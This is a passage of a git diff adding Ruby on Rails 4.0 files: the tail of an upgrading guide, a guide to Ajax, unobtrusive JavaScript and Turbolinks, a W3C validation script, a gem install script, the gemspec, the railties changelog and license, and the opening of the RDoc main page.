+The asset pipeline requires the following additions:
+
+```ruby
+config.assets.enabled = true
+config.assets.version = '1.0'
+```
+
+If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+```ruby
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+```
+
+### config/environments/development.rb
+
+Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+Add these settings if you enable the asset pipeline:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+### config/environments/production.rb
+
+Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+```
+
+### config/environments/test.rb
+
+You can help test performance with these additions to your test environment:
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+### config/initializers/wrap_parameters.rb
+
+Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+```ruby
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+end
+```
+
+### config/initializers/session_store.rb
+
+You need to change your session key to something new, or remove all sessions:
+
+```ruby
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+```
+
+or
+
+```bash
+$ rake db:sessions:clear
+```
+
+### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.
diff --git a/guides/source/working_with_javascript_in_rails.md b/guides/source/working_with_javascript_in_rails.md
new file mode 100644
index 0000000..ddefaf6
--- /dev/null
+++ b/guides/source/working_with_javascript_in_rails.md
@@ -0,0 +1,397 @@
+Working with JavaScript in Rails
+================================
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and
+more); it will enable you to create rich and dynamic Ajax applications with
+ease!
+
+After reading this guide, you will know:
+
+* The basics of Ajax.
+* Unobtrusive JavaScript.
+* How Rails' built-in helpers assist you.
+* How to handle Ajax on the server side.
+* The Turbolinks gem.
+
+-------------------------------------------------------------------------------
+
+An Introduction to Ajax
+------------------------
+
+In order to understand Ajax, you must first understand what a web browser does
+normally.
+
+When you type `http://localhost:3000` into your browser's address bar and hit
+'Go,' the browser (your 'client') makes a request to the server. It parses the
+response, then fetches all associated assets, like JavaScript files,
+stylesheets and images. It then assembles the page. If you click a link, it
+does the same process: fetch the page, fetch the assets, put it all together,
+show you the results. This is called the 'request response cycle.'
+
+JavaScript can also make requests to the server, and parse the response. It
+also has the ability to update information on the page. Combining these two
+powers, a JavaScript writer can make a web page that can update just parts of
+itself, without needing to get the full page data from the server. This is a
+powerful technique that we call Ajax.
+
+Rails ships with CoffeeScript by default, and so the rest of the examples
+in this guide will be in CoffeeScript. All of these lessons, of course, apply
+to vanilla JavaScript as well.
+
+As an example, here's some CoffeeScript code that makes an Ajax request using
+the jQuery library:
+
+```coffeescript
+$.ajax(url: "/test").done (html) ->
+ $("#results").append html
+```
+
+This code fetches data from "/test", and then appends the result to the `div`
+with an id of `results`.
+
+Rails provides quite a bit of built-in support for building web pages with this
+technique. You rarely have to write this code yourself. The rest of this guide
+will show you how Rails can help you write websites in this way, but it's
+all built on top of this fairly simple technique.
+
+Unobtrusive JavaScript
+-------------------------------------
+
+Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
+JavaScript to the DOM. This is generally considered to be a best-practice
+within the frontend community, but you may occasionally read tutorials that
+demonstrate other ways.
+
+Here's the simplest way to write JavaScript. You may see it referred to as
+'inline JavaScript':
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+```
+When clicked, the link background will become red. Here's the problem: what
+happens when we have lots of JavaScript we want to execute on a click?
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+```
+
+Awkward, right? We could pull the function definition out of the click handler,
+and turn it into CoffeeScript:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
+```
+
+And then on our page:
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+```
+
+That's a little bit better, but what about multiple links that have the same
+effect?
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+```
+
+Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
+attribute to our link, and then bind a handler to the click event of every link
+that has that attribute:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
+
+$ ->
+ $("a[data-background-color]").click ->
+ backgroundColor = $(this).data("background-color")
+ textColor = $(this).data("text-color")
+ paintIt(this, backgroundColor, textColor)
+```
+```html
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+```
+
+We call this 'unobtrusive' JavaScript because we're no longer mixing our
+JavaScript into our HTML. We've properly separated our concerns, making future
+change easy. We can easily add behavior to any link by adding the data
+attribute. We can run all of our JavaScript through a minimizer and
+concatenator. We can serve our entire JavaScript bundle on every page, which
+means that it'll get downloaded on the first page load and then be cached on
+every page after that. Lots of little benefits really add up.
+
+The Rails team strongly encourages you to write your CoffeeScript (and
+JavaScript) in this style, and you can expect that many libraries will also
+follow this pattern.
+
+Built-in Helpers
+----------------------
+
+Rails provides a bunch of view helper methods written in Ruby to assist you
+in generating HTML. Sometimes, you want to add a little Ajax to those elements,
+and Rails has got your back in those cases.
+
+Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
+parts: the JavaScript half and the Ruby half.
+
+[rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js)
+provides the JavaScript half, and the regular Ruby view helpers add appropriate
+tags to your DOM. The CoffeeScript in rails.js then listens for these
+attributes, and attaches appropriate handlers.
+
+### form_for
+
+[`form_for`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)
+is a helper that assists with writing forms. `form_for` takes a `:remote`
+option. It works like this:
+
+```erb
+<%= form_for(@post, remote: true) do |f| %>
+ ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post">
+ ...
+</form>
+```
+
+Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+than by the browser's normal submit mechanism.
+
+You probably don't want to just sit there with a filled out `<form>`, though.
+You probably want to do something upon a successful submission. To do that,
+bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
+
+```coffeescript
+$(document).ready ->
+ $("#new_post").on("ajax:success", (e, data, status, xhr) ->
+ $("#new_post").append xhr.responseText
+ ).bind "ajax:error", (e, xhr, status, error) ->
+ $("#new_post").append "<p>ERROR</p>"
+```
+
+Obviously, you'll want to be a bit more sophisticated than that, but it's a
+start.
+
+### form_tag
+
+[`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag)
+is very similar to `form_for`. It has a `:remote` option that you can use like
+this:
+
+```erb
+<%= form_tag('/posts', remote: true) %>
+```
+
+Everything else is the same as `form_for`. See its documentation for full
+details.
+
+### link_to
+
+[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
+is a helper that assists with generating links. It has a `:remote` option you
+can use like this:
+
+```erb
+<%= link_to "a post", @post, remote: true %>
+```
+
+which generates
+
+```html
+<a href="/posts/1" data-remote="true">a post</a>
+```
+
+You can bind to the same Ajax events as `form_for`. Here's an example. Let's
+assume that we have a list of posts that can be deleted with just one
+click. We would generate some HTML like this:
+
+```erb
+<%= link_to "Delete post", @post, remote: true, method: :delete %>
+```
+
+and write some CoffeeScript like this:
+
+```coffeescript
+$ ->
+ $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+ alert "The post was deleted."
+```
+
+### button_to
+
+[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
+
+```erb
+<%= button_to "A post", @post, remote: true %>
+```
+
+this generates
+
+```html
+<form action="/posts/1" class="button_to" data-remote="true" method="post">
+ <div><input type="submit" value="A post"></div>
+</form>
+```
+
+Since it's just a `<form>`, all of the information on `form_for` also applies.
+
+Server-Side Concerns
+--------------------
+
+Ajax isn't just client-side, you also need to do some work on the server
+side to support it. Often, people like their Ajax requests to return JSON
+rather than HTML. Let's discuss what it takes to make that happen.
+
+### A Simple Example
+
+Imagine you have a series of users that you would like to display and provide a
+form on that same page to create a new user. The index action of your
+controller looks like this:
+
+```ruby
+class UsersController < ApplicationController
+ def index
+ @users = User.all
+ @user = User.new
+ end
+ # ...
+```
+
+The index view (`app/views/users/index.html.erb`) contains:
+
+```erb
+<b>Users</b>
+
+<ul id="users">
+<% @users.each do |user| %>
+ <%= render user %>
+<% end %>
+</ul>
+
+<br>
+
+<%= form_for(@user, remote: true) do |f| %>
+ <%= f.label :name %><br>
+ <%= f.text_field :name %>
+ <%= f.submit %>
+<% end %>
+```
+
+The `app/views/users/_user.html.erb` partial contains the following:
+
+```erb
+<li><%= user.name %></li>
+```
+
+The top portion of the index page displays the users. The bottom portion
+provides a form to create a new user.
+
+The bottom form will call the create action on the Users controller. Because
+the form's remote option is set to true, the request will be posted to the
+users controller as an Ajax request, looking for JavaScript. In order to
+service that request, the create action of your controller would look like
+this:
+
+```ruby
+ # app/controllers/users_controller.rb
+ # ......
+ def create
+ @user = User.new(params[:user])
+
+ respond_to do |format|
+ if @user.save
+ format.html { redirect_to @user, notice: 'User was successfully created.' }
+ format.js {}
+ format.json { render json: @user, status: :created, location: @user }
+ else
+ format.html { render action: "new" }
+ format.json { render json: @user.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+```
+
+Notice the format.js in the `respond_to` block; that allows the controller to
+respond to your Ajax request. You then have a corresponding
+`app/views/users/create.js.erb` view file that generates the actual JavaScript
+code that will be sent and executed on the client side.
+
+```erb
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+```
+
+Turbolinks
+----------
+
+Rails 4 ships with the [Turbolinks gem](https://github.com/rails/turbolinks).
+This gem uses Ajax to speed up page rendering in most applications.
+
+### How Turbolinks Works
+
+Turbolinks attaches a click handler to all `<a>` on the page. If your browser
+supports
+[PushState](https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history#The_pushState(\).C2.A0method),
+Turbolinks will make an Ajax request for the page, parse the response, and
+replace the entire `<body>` of the page with the `<body>` of the response. It
+will then use PushState to change the URL to the correct one, preserving
+refresh semantics and giving you pretty URLs.
+
+The only thing you have to do to enable Turbolinks is have it in your Gemfile,
+and put `//= require turbolinks` in your CoffeeScript manifest, which is usually
+`app/assets/javascripts/application.js`.
+
+If you want to disable Turbolinks for certain links, add a `data-no-turbolink`
+attribute to the tag:
+
+```html
+<a href="..." data-no-turbolink>No turbolinks here</a>.
+```
+
+### Page Change Events
+
+When writing CoffeeScript, you'll often want to do some sort of processing upon
+page load. With jQuery, you'd write something like this:
+
+```coffeescript
+$(document).ready ->
+ alert "page has loaded!"
+```
+
+However, because Turbolinks overrides the normal page loading process, the
+event that this relies on will not be fired. If you have code that looks like
+this, you must change your code to do this instead:
+
+```coffeescript
+$(document).on "page:change", ->
+ alert "page has loaded!"
+```
+
+For more details, including other events you can bind to, check out [the
+Turbolinks
+README](https://github.com/rails/turbolinks/blob/master/README.md).
+
+Other Resources
+---------------
+
+Here are some helpful links to help you learn even more:
+
+* [jquery-ujs wiki](https://github.com/rails/jquery-ujs/wiki)
+* [jquery-ujs list of external articles](https://github.com/rails/jquery-ujs/wiki/External-articles)
+* [Rails 3 Remote Links and Forms: A Definitive Guide](http://www.alfajango.com/blog/rails-3-remote-links-and-forms/)
+* [Railscasts: Unobtrusive JavaScript](http://railscasts.com/episodes/205-unobtrusive-javascript)
+* [Railscasts: Turbolinks](http://railscasts.com/episodes/390-turbolinks)
\ No newline at end of file
diff --git a/guides/w3c_validator.rb b/guides/w3c_validator.rb
new file mode 100644
index 0000000..6ef3df4
--- /dev/null
+++ b/guides/w3c_validator.rb
@@ -0,0 +1,95 @@
+# ---------------------------------------------------------------------------
+#
+# This script validates the generated guides against the W3C Validator.
+#
+# Guides are taken from the output directory, from where all .html files are
+# submitted to the validator.
+#
+# This script is prepared to be launched from the guides directory as a rake task:
+#
+# rake guides:validate
+#
+# If nothing is specified, all files will be validated, but you can check just
+# some of them using this environment variable:
+#
+# ONLY
+# Use ONLY if you want to validate only one or a set of guides. Prefixes are
+# enough:
+#
+# # validates only association_basics.html
+# rake guides:validate ONLY=assoc
+#
+# Separate many using commas:
+#
+# # validates only association_basics.html and migrations.html
+# rake guides:validate ONLY=assoc,migrations
+#
+# ---------------------------------------------------------------------------
+
+require 'w3c_validators'
+include W3CValidators
+
+module RailsGuides
+ class Validator
+
+ def validate
+ validator = MarkupValidator.new
+ STDOUT.sync = true
+ errors_on_guides = {}
+
+ guides_to_validate.each do |f|
+ begin
+ results = validator.validate_file(f)
+ rescue Exception => e
+ puts "\nCould not validate #{f} because of #{e}"
+ next
+ end
+
+ if results.validity
+ print "."
+ else
+ print "E"
+ errors_on_guides[f] = results.errors
+ end
+ end
+
+ show_results(errors_on_guides)
+ end
+
+ private
+ def guides_to_validate
+ guides = Dir["./output/*.html"]
+ guides.delete("./output/layout.html")
+ ENV.key?('ONLY') ? select_only(guides) : guides
+ end
+
+ def select_only(guides)
+ prefixes = ENV['ONLY'].split(",").map(&:strip)
+ guides.select do |guide|
+ prefixes.any? {|p| guide.start_with?("./output/#{p}")}
+ end
+ end
+
+ def show_results(error_list)
+ if error_list.size == 0
+ puts "\n\nAll checked guides validate OK!"
+ else
+ error_summary = error_detail = ""
+
+ error_list.each_pair do |name, errors|
+ error_summary += "\n #{name}"
+ error_detail += "\n\n #{name} has #{errors.size} validation error(s):\n"
+ errors.each do |error|
+ error_detail += "\n "+error.to_s.delete("\n")
+ end
+ end
+
+ puts "\n\nThere are #{error_list.size} guides with validation errors:\n" + error_summary
+ puts "\nHere are the detailed errors for each guide:" + error_detail
+ end
+ end
+
+ end
+end
+
+RailsGuides::Validator.new.validate
diff --git a/install.rb b/install.rb
new file mode 100644
index 0000000..77c3e60
--- /dev/null
+++ b/install.rb
@@ -0,0 +1,16 @@
+version = ARGV.pop
+
+if version.nil?
+ puts "Usage: ruby install.rb version"
+ exit(64)
+end
+
+%w( activesupport activemodel activerecord actionpack actionmailer railties ).each do |framework|
+ puts "Installing #{framework}..."
+ `cd #{framework} && gem build #{framework}.gemspec && gem install #{framework}-#{version}.gem --no-ri --no-rdoc && rm #{framework}-#{version}.gem`
+end
+
+puts "Installing rails..."
+`gem build rails.gemspec`
+`gem install rails-#{version}.gem --no-ri --no-rdoc `
+`rm rails-#{version}.gem`
diff --git a/load_paths.rb b/load_paths.rb
new file mode 100644
index 0000000..0ad8fcf
--- /dev/null
+++ b/load_paths.rb
@@ -0,0 +1,3 @@
+# bust gem prelude
+require 'bundler'
+Bundler.setup
diff --git a/rails.gemspec b/rails.gemspec
new file mode 100644
index 0000000..1993467
--- /dev/null
+++ b/rails.gemspec
@@ -0,0 +1,29 @@
+version = File.read(File.expand_path('../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'rails'
+ s.version = version
+ s.summary = 'Full-stack web application framework.'
+ s.description = 'Ruby on Rails is a full-stack web framework optimized for programmer happiness and sustainable productivity. It encourages beautiful code by favoring convention over configuration.'
+
+ s.required_ruby_version = '>= 1.9.3'
+ s.required_rubygems_version = '>= 1.8.11'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = ['README.md'] + Dir['guides/**/*']
+
+ s.add_dependency 'activesupport', version
+ s.add_dependency 'actionpack', version
+ s.add_dependency 'activerecord', version
+ s.add_dependency 'actionmailer', version
+ s.add_dependency 'railties', version
+
+ s.add_dependency 'bundler', '>= 1.3.0', '< 2.0'
+ s.add_dependency 'sprockets-rails', '~> 2.0.0.rc4'
+end
diff --git a/railties/.gitignore b/railties/.gitignore
new file mode 100644
index 0000000..80dd262
--- /dev/null
+++ b/railties/.gitignore
@@ -0,0 +1 @@
+log/
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
new file mode 100644
index 0000000..f67177a
--- /dev/null
+++ b/railties/CHANGELOG.md
@@ -0,0 +1,375 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Move rails.png into a data-uri. One less file to get generated into a new
+ application. This is also consistent with the removal of index.html.
+
+ *Steve Klabnik*
+
+* The application rake task `doc:rails` generates now an API like the
+ official one (except for the links to GitHub).
+
+ *Xavier Noria*
+
+* Allow vanilla apps to render CoffeeScript templates in production
+
+ Vanilla apps already render CoffeeScript templates in development and test
+ environments. With this change, the production behavior matches that of
+ the other environments.
+
+ Effectively, this meant moving coffee-rails (and the JavaScript runtime on
+ which it is dependent) from the :assets group to the top-level of the
+ generated Gemfile.
+
+ *Gabe Kopley*
+
+* Don't generate a scaffold.css when --no-assets is specified
+
+ *Kevin Glowacz*
+
+* Add support for generate scaffold password:digest
+
+ * adds password_digest attribute to the migration
+ * adds has_secure_password to the model
+ * adds password and password_confirmation password_fields to _form.html
+ * omits password from index.html and show.html
+ * adds password and password_confirmation to the controller
+ * adds unencrypted password and password_confirmation to the controller test
+ * adds encrypted password_digest to the fixture
+
+ *Sam Ruby*
+
+* Improved `rake test` command for running tests
+
+ To run all tests:
+
+ $ rake test
+
+ To run a test suite
+
+ $ rake test:[models,helpers,units,controllers,mailers,...]
+
+ To run a selected test file(s):
+
+ $ rake test test/unit/foo_test.rb [test/unit/bar_test.rb ...]
+
+ To run a single test from a test file
+
+ $ rake test test/unit/foo_test.rb TESTOPTS='-n test_the_truth'
+
+* Improve service pages with new layout (404, etc).
+
+ *Stanislav Sobolev*
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Improve `rake stats` for JavaScript and CoffeeScript: ignore block comments
+ and calculates number of functions.
+
+ *Hendy Tanata*
+
+* Ability to use a custom builder by passing `--builder` (or `-b`) has been removed.
+ Consider using application template instead. See this guide for more detail:
+ http://guides.rubyonrails.org/rails_application_templates.html
+
+ *Prem Sichanugrist*
+
+* Fix `rake db:*` tasks to work with `DATABASE_URL` and without `config/database.yml`.
+
+ *Terence Lee*
+
+* Add notice message for destroy action in scaffold generator.
+
+ *Rahul P. Chaudhari*
+
+* Add two new test rake tasks to speed up full test runs.
+
+ * `test:all`: run tests quickly by merging all types and not resetting db.
+ * `test:all:db`: run tests quickly, but also reset db.
+
+ *Ryan Davis*
+
+* Add `--rc` option to support the load of a custom rc file during the generation of a new app.
+
+ *Amparo Luna*
+
+* Add `--no-rc` option to skip the loading of railsrc file during the generation of a new app.
+
+ *Amparo Luna*
+
+* Fixes database.yml when creating a new rails application with '.'
+ Fixes #8304.
+
+ *Jeremy W. Rowe*
+
+* Restore Rails::Engine::Railties#engines with deprecation to ensure
+ compatibility with gems such as Thinking Sphinx
+ Fixes #8551.
+
+ *Tim Raymond*
+
+* Specify which logs to clear when using the `rake log:clear` task.
+ (e.g. rake log:clear LOGS=test,staging)
+
+ *Matt Bridges*
+
+* Allow a `:dirs` key in the `SourceAnnotationExtractor.enumerate` options
+ to explicitly set the directories to be traversed so it's easier to define
+ custom rake tasks.
+
+ *Brian D. Burns*
+
+* Deprecate `Rails::Generators::ActiveModel#update_attributes` in favor of `#update`.
+
+ ORMs that implement `Generators::ActiveModel#update_attributes` should change
+ to `#update`. Scaffold controller generators should change calls like:
+
+ @orm_instance.update_attributes(...)
+
+ to:
+
+ @orm_instance.update(...)
+
+ This goes along with the addition of `ActiveRecord::Base#update`.
+
+ *Carlos Antonio da Silva*
+
+* Include `jbuilder` by default and rely on its scaffold generator to show json API.
+ Check https://github.com/rails/jbuilder for more info and examples.
+
+ *DHH*
+
+* Scaffold now generates HTML-only controller by default.
+
+ *DHH + Pavel Pravosud*
+
+* The generated `README.rdoc` for new applications invites the user to
+ document the necessary steps to get the application up and running.
+
+ *Xavier Noria*
+
+* Generated applications no longer get `doc/README_FOR_APP`. In consequence,
+ the `doc` directory is created on demand by documentation tasks rather than
+ generated by default.
+
+ *Xavier Noria*
+
+* App executables now live in the `bin/` directory: `bin/bundle`,
+ `bin/rails`, `bin/rake`. Run `rake rails:update:bin` to add these
+ executables to your own app. `script/rails` is gone from new apps.
+
+ Running executables within your app ensures they use your app's Ruby
+ version and its bundled gems, and it ensures your production deployment
+ tools only need to execute a single script. No more having to carefully
+ `cd` to the app dir and run `bundle exec ...`.
+
+ Rather than treating `bin/` as a junk drawer for generated "binstubs",
+ bundler 1.3 adds support for generating stubs for just the executables
+ you actually use: `bundle binstubs unicorn` generates `bin/unicorn`.
+ Add that executable to git and version it just like any other app code.
+
+ *Jeremy Kemper*
+
+* `config.assets.enabled` is now true by default. If you're upgrading from a Rails 3.x app
+ that does not use the asset pipeline, you'll be required to add `config.assets.enabled = false`
+ to your application.rb. If you don't want the asset pipeline on a new app use `--skip-sprockets`
+
+ *DHH*
+
+* Environment name can be a start substring of the default environment names
+ (production, development, test). For example: tes, pro, prod, dev, devel.
+ Fixes #8628.
+
+ *Mykola Kyryk*
+
+* Add `-B` alias for `--skip-bundle` option in the rails new generators.
+
+ *Jiri Pospisil*
+
+* Quote column names in generates fixture files. This prevents
+ conflicts with reserved YAML keywords such as 'yes' and 'no'
+ Fixes #8612.
+
+ *Yves Senn*
+
+* Explicit options have precedence over `~/.railsrc` on the `rails new` command.
+
+ *Rafael Mendonça França*
+
+* Generated migrations now always use the `change` method.
+
+ *Marc-André Lafortune*
+
+* Add `app/models/concerns` and `app/controllers/concerns` to the default directory structure and load path.
+ See http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns for usage instructions.
+
+ *DHH*
+
+* The `rails/info/routes` now correctly formats routing output as an html table.
+
+ *Richard Schneeman*
+
+* The `public/index.html` is no longer generated for new projects.
+ Page is replaced by internal `welcome_controller` inside of railties.
+
+ *Richard Schneeman*
+
+* Add `ENV['RACK_ENV']` support to `rails runner/console/server`.
+
+ *kennyj*
+
+* Add `db` to list of folders included by `rake notes` and `rake notes:custom`. *Antonio Cangiano*
+
+* Engines with a dummy app include the rake tasks of dependencies in the app namespace.
+ Fixes #8229.
+
+ *Yves Senn*
+
+* Add `sqlserver.yml` template file to satisfy `-d sqlserver` being passed to `rails new`.
+ Fixes #6882.
+
+ *Robert Nesius*
+
+* Rake test:uncommitted finds git directory in ancestors *Nicolas Despres*
+
+* Add dummy app Rake tasks when `--skip-test-unit` and `--dummy-path` is passed to the plugin generator.
+ Fixes #8121.
+
+ *Yves Senn*
+
+* Add `.rake` to list of file extensions included by `rake notes` and `rake notes:custom`. *Brent J. Nordquist*
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and
+ `test/mailers`. Corresponding rake tasks added as well. *Mike Moore*
+
+* Set a different cache per environment for assets pipeline
+ through `config.assets.cache`.
+
+ *Guillermo Iguaran*
+
+* `Rails.public_path` now returns a Pathname object. *Prem Sichanugrist*
+
+* Remove highly uncommon `config.assets.manifest` option for moving the manifest path.
+ This option is now unsupported in sprockets-rails.
+
+ *Guillermo Iguaran & Dmitry Vorotilin*
+
+* Add `config.action_controller.permit_all_parameters` to disable
+ StrongParameters protection, it's false by default.
+
+ *Guillermo Iguaran*
+
+* Remove `config.active_record.whitelist_attributes` and
+ `config.active_record.mass_assignment_sanitizer` from new applications since
+ MassAssignmentSecurity has been extracted from Rails.
+
+ *Guillermo Iguaran*
+
+* Change `rails new` and `rails plugin new` generators to name the `.gitkeep` files
+ as `.keep` in a more SCM-agnostic way.
+
+ Change `--skip-git` option to only skip the `.gitignore` file and still generate
+ the `.keep` files.
+
+ Add `--skip-keeps` option to skip the `.keep` files.
+
+ *Derek Prior & Francesco Rodriguez*
+
+* Fixed support for `DATABASE_URL` environment variable for rake db tasks.
+
+ *Grace Liu*
+
+* `rails dbconsole` now can use SSL for MySQL. The `database.yml` options sslca, sslcert, sslcapath, sslcipher
+ and sslkey now affect `rails dbconsole`.
+
+ *Jim Kingdon and Lars Petrus*
+
+* Correctly handle SCRIPT_NAME when generating routes to engine in application
+ that's mounted at a sub-uri. With this behavior, you *should not* use
+ `default_url_options[:script_name]` to set proper application's mount point by
+ yourself.
+
+ *Piotr Sarnacki*
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded .
+
+ *José Valim*
+
+* The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
+
+ rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
+
+ will generate the migration with:
+
+ add_reference :products, :user, index: true
+ add_reference :products, :supplier, polymorphic: true, index: true
+
+ *Aleksey Magusev*
+
+* Allow scaffold/model/migration generators to accept a `polymorphic` modifier
+ for `references`/`belongs_to`, for instance
+
+ rails g model Product supplier:references{polymorphic}
+
+ will generate the model with `belongs_to :supplier, polymorphic: true`
+ association and appropriate migration.
+
+ *Aleksey Magusev*
+
+* Set `config.active_record.migration_error` to `:page_load` for development.
+
+ *Richard Schneeman*
+
+* Add runner to `Rails::Railtie` as a hook called just after runner starts.
+
+ *José Valim & kennyj*
+
+* Add `/rails/info/routes` path, displays same information as `rake routes` .
+
+ *Richard Schneeman & Andrew White*
+
+* Improved `rake routes` output for redirects.
+
+ *Łukasz Strzałkowski & Andrew White*
+
+* Load all environments available in `config.paths["config/environments"]`.
+
+ *Piotr Sarnacki*
+
+* Remove `Rack::SSL` in favour of `ActionDispatch::SSL`.
+
+ *Rafael Mendonça França*
+
+* Remove Active Resource from Rails framework.
+
+ *Prem Sichangrist*
+
+* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block.
+
+ Example:
+
+ # it can be added to config/application.rb
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+
+ *Piotr Sarnacki*
+
+* Add convenience `hide!` method to Rails generators to hide current generator
+ namespace from showing when running `rails generate`.
+
+ *Carlos Antonio da Silva*
+
+* Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies.
+
+ *Santiago Pastorino*
+
+* Set config.action_mailer.async = true to turn on asynchronous
+ message delivery.
+
+ *Brian Cardarella*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/railties/CHANGELOG.md) for previous changes.
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
new file mode 100644
index 0000000..0d7fb86
--- /dev/null
+++ b/railties/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2004-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/railties/RDOC_MAIN.rdoc b/railties/RDOC_MAIN.rdoc
new file mode 100644
index 0000000..cadf0fb
--- /dev/null
+++ b/railties/RDOC_MAIN.rdoc
@@ -0,0 +1,73 @@
+== Welcome to \Rails
+
+\Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern.
+
+Understanding the MVC pattern is key to understanding \Rails. MVC divides your application
+into three layers, each with a specific responsibility.
+
+The View layer is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates
+can come in a variety of formats, but most view templates are \HTML with embedded Ruby
+code (.erb files).
+
+The Model layer represents your domain model (such as Account, Product, Person, Post)
